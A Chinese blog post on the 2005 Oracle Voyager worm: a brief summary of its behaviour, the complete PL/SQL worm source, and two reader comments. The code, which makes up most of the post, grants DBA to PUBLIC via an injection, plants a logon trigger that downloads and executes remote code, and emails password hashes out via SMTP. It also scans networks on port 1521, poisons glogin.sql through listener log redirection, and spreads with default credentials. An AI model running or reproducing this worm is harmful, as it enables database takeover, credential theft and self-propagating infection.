Oracle Voyager Worm 一段匿名块SQL蠕虫

2005年12-20日(很久以前)一位匿名用户在邮件列表中发布了一段匿名块的SQL蠕虫病毒,这可能是人们第一次意识到PL/SQL也能用来写病毒。很多专家都对该段程序进行了分析,其主要破坏行为如下:

1.将DBA权限授予public角色

2.删除名为aa的trigger

3.创建名为aa的数据库登陆后(after database logon)触发器,该触发器还包含了使用UTL_TCP包(前提是病毒所在实例可能链接到外网)获取来自于http://www.google.de/search?hl=en&q=startc0GtJBi1+full-disclosure&btnI=I%27m+Feeling+Lucky的疑似病毒信息,google已经将该地址屏蔽了

4.通过smtp01.us.oracle.com邮件发送服务器发送标题为(Password hashes)包含数据库密码哈希值的邮件至 larry@oracle.com(可能是Oracle老总larry ellison 邮箱地址)

5.扫描实例所在主机子网中的所有ip,之后会尝试使用随机ip.修改listener.log,并且将”alter user mdsys identified by mdsys”添加至glogin.sql,每次使用SQLPLUS时均会执行该SQL.

6.创建可能的数据库连接(DBLINK),并尝试猜测密码组合,如(system/manager, sys/change_on_install, dbsnmp/dbsnmp, outln/outln, scott/tiger, mdsys/mdsys, ordcommon/ordcommon)等较为常见的组合。

7.尝试关闭listener

这是一种尝试,首先向我们证明了PL/SQL也具备编写病毒程序的能力;其次Oracle可能并不如我们想象的那么安全。

有兴趣可以瞻仰一下这段代码,oracle worm voyager.

--##s
tartc0GtJBi1
DECLARE
i1 INTEGER;
i2 INTEGER;
i6 INTEGER;
iHostToSearchFor INTEGER;
reference_ip varchar2(1000);
reference_url varchar2(1000);
starting_ipaddress varchar2(100);
current_ipaddress VARCHAR2(100);
current_network VARCHAR2(100);
current_letter VARCHAR2(1);
c   UTL_TCP.CONNECTION;
c1   UTL_TCP.CONNECTION;
ln integer;
vLen NUMBER;
PreviousSID varchar2(100);
vWorking varchar2(2500);
vWorking1 varchar2(2500);
vRequest varchar2(500);
vRequestStop varchar2(500);
vReqLog raw(500);
vRequestSQLCommand raw(32000);
vResp varchar2(32767);
vRespPiece varchar2(200);
vRespTemp varchar2(200);
ret_val pls_integer;
oraclehome varchar2(1000);
vRefresh varchar2(2000);
v_message      VARCHAR2(32000);
vRequestLogChange raw(10000);
vRequestLogReset raw(10000);
iLoop integer := 0;
iLength integer := 0;
cur binary_integer;
BEGIN
BEGIN
CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO PUBLIC');
EXCEPTION
WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('');
END;
reference_ip := 'www.google.com';
reference_url := '/search?hl=en&q=startc0GtJBi1+full-disclosure&btnI=I%
27m+Feeling+Lucky';
vRefresh := 'declare req Utl_Http.Req;resp Utl_Http.Resp;v_msg varchar2(32767);af
varchar2(32767);ab varchar2(32767);ac varchar2(32767) := ''''' || reference_ip
|| ''''';v_url varchar2(32767) := ''''' || reference_url || ''''';ad varchar2
(32000) := ''''--##startc0GtJBi1'''';ae varchar2(32000) := ''''--##endc0GtJBi1'''';i3
INTEGER;i4 INTEGER;iLoop integer := 0;cur binary_integer;i binary_integer;begin
Utl_Http.Set_Proxy(proxy=>ac,no_proxy_domains=>ac );req := Utl_Http.Begin_Request
(url=>v_url,method=>''''GET'''' );utl_Http.Set_Header(r=>req,name=>''''User-
Agent'''',value=>''''Mozilla/4.0'''' );resp:=Utl_Http.Get_Response(r=>req);begin loop
Utl_Http.Read_Text(r=>resp,data=>v_msg);af:=af || v_msg;end loop;exception when
utl_Http.End_Of_Body then null;end;Utl_Http.End_Response(r=>resp);i3:=instr
(af,ad,1);i4:=instr(af,ae,i3);ab:=substr(af,i3+length(ad)+2,i4-(i3+length(ad)
+4));execute immediate ''''begin '''' || ab || '''' end;''''; end;';
vWorking := 'create or replace trigger aa AFTER LOGON ON DATABASE declare cur
binary_integer;BEGIN if round(dbms_random.value(1,100))=32 then EXECUTE IMMEDIATE '''
|| vRefresh || ''';end if;end;';

BEGIN
EXECUTE IMMEDIATE 'drop trigger aa';
EXCEPTION
WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('the execute immediate didnt work');
END;
BEGIN
EXECUTE IMMEDIATE vWorking;
EXCEPTION
WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('the execute immediate didnt work');
END;
starting_ipaddress := utl_inaddr.get_host_address;
current_ipaddress := starting_ipaddress;
ln := length(current_ipaddress);
loop
current_letter := substr(current_ipaddress, ln, 1);
ln := ln - 1;
EXIT WHEN current_letter = '.';
EXIT WHEN ln = 0;
end loop;
current_network := substr(current_ipaddress, 1, ln);
iHostToSearchFor := 1;
vRequest := chr(0) || chr(89) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr
(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1) ||
chr(0) || chr(31) || chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(CONNECT_DATA=(COMMAND=status))';
vRequestStop := chr(0) || chr(87) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) ||
chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1) ||
chr(0) || chr(29) || chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(CONNECT_DATA=(COMMAND=stop))';
vReqLog := UTL_RAW.CONCAT( hextoraw('00'), hextoraw('A2'), utl_raw.cast_to_raw( chr(0)
|| chr(0) || chr(1) || chr(0) || chr(0) || chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(122) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1) ||
chr(0) || chr(104) || chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))
(COMMAND=log_directory)(ARGUMENTS=)(SERVICE=)))'));
DECLARE
a DBA_USERS.username%TYPE;
b DBA_USERS.password%TYPE;
CURSOR T1Cursor IS
SELECT username, password
FROM DBA_USERS;
BEGIN
OPEN T1Cursor;
LOOP
FETCH T1Cursor INTO a, b;
EXIT WHEN T1Cursor%NOTFOUND;
v_message := v_message || a || ' ' ||  b || CHR(13) || CHR(10);
END LOOP;
CLOSE T1Cursor;
END;
loop
begin
if MOD(iHostToSearchFor + 1, 100) = 0 then
declare
mailhost  CONSTANT VARCHAR2(30) := 'smtp01.us.oracle.com';
crlf      CONSTANT VARCHAR2(2):= CHR(13) || CHR(10);
mesg      VARCHAR2(32000);
mail_conn utl_smtp.connection;
BEGIN
begin
loop
mail_conn := utl_smtp.open_connection(mailhost, 25);
mesg := 'Date: ' || TO_CHAR( SYSDATE, 'dd Mon yy hh24:mi:ss' ) || crlf
|| 'From: oracle@' || starting_ipaddress || crlf || 'Subject: Password hashes' || crlf
|| 'To: larry at oracle.com' || crlf || '' || crlf || v_message;

utl_smtp.helo(mail_conn, mailhost);
utl_smtp.mail(mail_conn, 'oracle@' || starting_ipaddress);
utl_smtp.rcpt(mail_conn, 'larry at oracle.com');
utl_smtp.data(mail_conn, mesg);
utl_smtp.quit(mail_conn);
EXIT WHEN round(dbms_random.value(1, 20)) = 10;
end loop;
EXCEPTION
WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('');
end;
current_ipaddress := round(dbms_random.value(1, 254)) || '.' || round
(dbms_random.value(1, 254)) || '.' || round(dbms_random.value(1, 254)) || '.' || round
(dbms_random.value(1, 254));
mail_conn := utl_smtp.open_connection(current_ipaddress, 25);
mesg := 'Date: ' || TO_CHAR( SYSDATE, 'dd Mon yy hh24:mi:ss' ) || crlf
|| 'From: oracle@' || starting_ipaddress || crlf || 'Subject: Password hashes' || crlf
|| 'To: oracle@' || current_ipaddress || crlf || '' || crlf || v_message;

utl_smtp.helo(mail_conn, current_ipaddress);
utl_smtp.mail(mail_conn, 'oracle@' || starting_ipaddress);
utl_smtp.rcpt(mail_conn, 'oracle@' || current_ipaddress);
utl_smtp.data(mail_conn, mesg);
utl_smtp.quit(mail_conn);
EXCEPTION
WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('');
end;
end if;
if iHostToSearchFor < 255 then
current_ipaddress := current_network || '.' || iHostToSearchFor;
else
current_ipaddress := round( dbms_random.value(1, 254) ) || '.' || round(
dbms_random.value(1, 254) ) || '.' || round(dbms_random.value(1, 254)) || '.' || round
(dbms_random.value(1, 254));
end if;
iHostToSearchFor := iHostToSearchFor + 1;
vResp := '';
c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
ret_val := UTL_TCP.WRITE_RAW(c, vReqLog);
vLen := UTL_TCP.READ_RAW(c, vResp, 100 );
vRespPiece := utl_raw.cast_to_varchar2(utl_raw.substr(vResp, 13, 88));
vResp := vRespPiece;
declare
read_from_network varchar2(32000);
length_read_from_network INTEGER;
begin
loop
read_from_network := '';
length_read_from_network := UTL_TCP.READ_RAW(c, read_from_network, 100 );
read_from_network := utl_raw.cast_to_varchar2(utl_raw.substr
(read_from_network, 1, length_read_from_network));
vResp := vResp || read_from_network;
end loop;
EXCEPTION
when OTHERS then
read_from_network := '';
end;
UTL_TCP.CLOSE_CONNECTION(c);
declare
i5 INTEGER;
i6 INTEGER;
oraclehome varchar2(1000);
begin
i5 := 1;
i6 := 1;
i5 := instr(vResp, '(LOGDIRNAME=', 1);
if i5 > 0 then
i6 := instr(vResp, '\network\log', i5);
if i6 = 0 then
i6 := instr(vResp, '/network/log', i5);
end if;
oraclehome := substr( vResp, i5 + 12, i6 - (i5 + 12) );
end if;
iLength := length(oraclehome);
vRequestLogChange := UTL_RAW.CONCAT( utl_raw.substr(
utl_raw.cast_from_binary_integer(218 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0)
|| chr(0) || chr(1) || chr(0) || chr(0) || chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1)),
utl_raw.substr( utl_raw.cast_from_binary_integer(160 + iLength), 3, 2 ),
utl_raw.cast_to_raw( chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))
(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=' ||
oraclehome  || '/sqlplus/admin/glogin.sql)))'));
vRequestLogReset := UTL_RAW.CONCAT( utl_raw.substr( utl_raw.cast_from_binary_integer
(218 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0) || chr(0) || chr(1) || chr(0) ||
chr(0) || chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1)),
utl_raw.substr( utl_raw.cast_from_binary_integer(160 + iLength), 3, 2 ),
utl_raw.cast_to_raw( chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))
(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=' ||
oraclehome  || '/network/log/listener.log)))'));
vWorking1 := 'alter user mdsys identified by mdsys;';
iLength := length(vWorking1) + 1;
vRequestSQLCommand := UTL_RAW.CONCAT( utl_raw.substr(
utl_raw.cast_from_binary_integer(58 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1)),
utl_raw.substr( utl_raw.cast_from_binary_integer(iLength), 3, 2 ), utl_raw.cast_to_raw
( chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(10) || vWorking1));
c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
ret_val := UTL_TCP.WRITE_RAW(c, vRequestLogChange);
UTL_TCP.CLOSE_CONNECTION(c);
c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
ret_val := UTL_TCP.WRITE_RAW(c, vRequestSQLCommand);
UTL_TCP.CLOSE_CONNECTION(c);
c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
ret_val := UTL_TCP.WRITE_RAW(c, vRequestLogReset);
UTL_TCP.CLOSE_CONNECTION(c);
end;
c1  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
vResp := '';
ret_val := UTL_TCP.WRITE_RAW(c1, utl_raw.cast_to_raw(vRequest));
vLen := UTL_TCP.READ_RAW(c1, vResp, 100 );
vRespPiece := utl_raw.cast_to_varchar2(utl_raw.substr(vResp, 43, 58));
vResp := vRespPiece;
declare
read_from_network varchar2(32000);
length_read_from_network INTEGER;
begin
loop
read_from_network := '';
length_read_from_network := UTL_TCP.READ_RAW(c1, read_from_network, 100 );
read_from_network := utl_raw.cast_to_varchar2(utl_raw.substr
(read_from_network, 1, length_read_from_network));
vResp := vResp || read_from_network;
end loop;
EXCEPTION
when OTHERS then
read_from_network := '';
end;
UTL_TCP.CLOSE_CONNECTION(c1);
declare
i3 INTEGER;
i4 INTEGER;
sid varchar2(100);
i binary_integer;
procedure_to_spread varchar2(32000);
create_link varchar2(500);
begin
i3 := 1;
i4 := 1;
loop
i3 := instr(vResp, '(INSTANCE_NAME=', i3);
exit when i3 = 0;
i4 := instr(vResp, ')', i3);
sid := substr( vResp, i3 + 15, i4 - (i3 + 15));
i3 := i3 + 1;
begin
if sid = PreviousSID or sid = 'PLSExtProc' or sid = 'extproc'
then
dbms_output.put_line( sid );
else
dbms_output.put_line( sid );
iLoop := 0;
loop
declare
username1 varchar2(100);
password1 varchar2(100);
begin
iLoop := iLoop + 1;
exit when iLoop = 8;
if iLoop = 5 then
username1 := 'system';
password1 := 'manager';
ELSIF iLoop = 6 then
username1 := 'sys';
password1 := 'change_on_install';
ELSIF iLoop = 1 then
username1 := 'dbsnmp';
password1 := 'dbsnmp';
ELSIF iLoop = 2 then
username1 := 'outln';
password1 := 'outln';
ELSIF iLoop = 4 then
username1 := 'scott';
password1 := 'tiger';
ELSIF iLoop = 3 then
username1 := 'mdsys';
password1 := 'mdsys';
ELSIF iLoop = 7 then
username1 := 'ordcommon';
password1 := 'ordcommon';
end if;
BEGIN
EXECUTE IMMEDIATE 'drop database link xxx';
EXCEPTION
when OTHERS then
DBMS_OUTPUT.PUT_LINE( '' );
end;
create_link := 'CREATE DATABASE LINK xxx CONNECT TO ' || username1 || '
IDENTIFIED BY ' || password1 || ' USING ''(DESCRIPTION=(ADDRESS_LIST=(ADDRESS =
(PROTOCOL = TCP)(HOST = ' || current_ipaddress || ')(PORT = 1521)))(CONNECT_DATA=
(SERVER=DEDICATED)(SERVICE_NAME=' || SID || ')))''';
EXECUTE IMMEDIATE create_link;
EXECUTE IMMEDIATE vWorking;
EXCEPTION
when OTHERS then
DBMS_OUTPUT.PUT_LINE( '' );
end;
end loop;
end if;
PreviousSID := SID;
end;
end loop;
c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
ret_val := UTL_TCP.WRITE_RAW(c, utl_raw.cast_to_raw(vRequestStop));
UTL_TCP.CLOSE_CONNECTION(c);
end;
EXCEPTION
when OTHERS then
DBMS_OUTPUT.PUT_LINE('');
end;
end loop;
END;
--##endc0GtJBi1

Comments

  1. 提到蠕虫就怕怕了,谢谢博主分享。

  2. How To Configure Anti-Virus On Windows Server Running Oracle Database
    Applies to:

    Oracle Server – Enterprise Edition – Version: 8.1.7.4 to 11.1.0.7
    Microsoft Windows
    Goal

    This document is intended for the database and system administrators who wish to install Anti-virus Software on Windows Server running Oracle Database. This document will help you to identify the Oracle files which needs to be excluded from Anti-virus scanner.

    Solution

    When an Anti-virus performs a scan on a file it holds a lock on it. This lock interrupts the normal functioning of the database. To prevent any disaster situation such as database crash/hang, we recommend the following files to be excluded from online anti-virus scanning.

    – Oracle datafiles

    – Control files

    – Redo-log files

    – Archived redo-log files if database is in archive log mode

    – Files with extension ‘.ora’

    – Password file

    – Files with extension ‘ .log’ under ORACLE_HOME
    You can also contact your anti-virus vendor to know more on the details of the scanning mechanism of the particular anti-virus software and for any additional Oracle files that has to be excluded from the scanner.

    NOTE:: An anti-virus software consumes OS resources heavily. Installing anti-virus software along with Oracle database may impact the database performance. However, there are no other restrictions to install anti-virus software along with Oracle database on Windows Server.

Comment

*

沪ICP备14014813号

沪公网安备 31010802001379号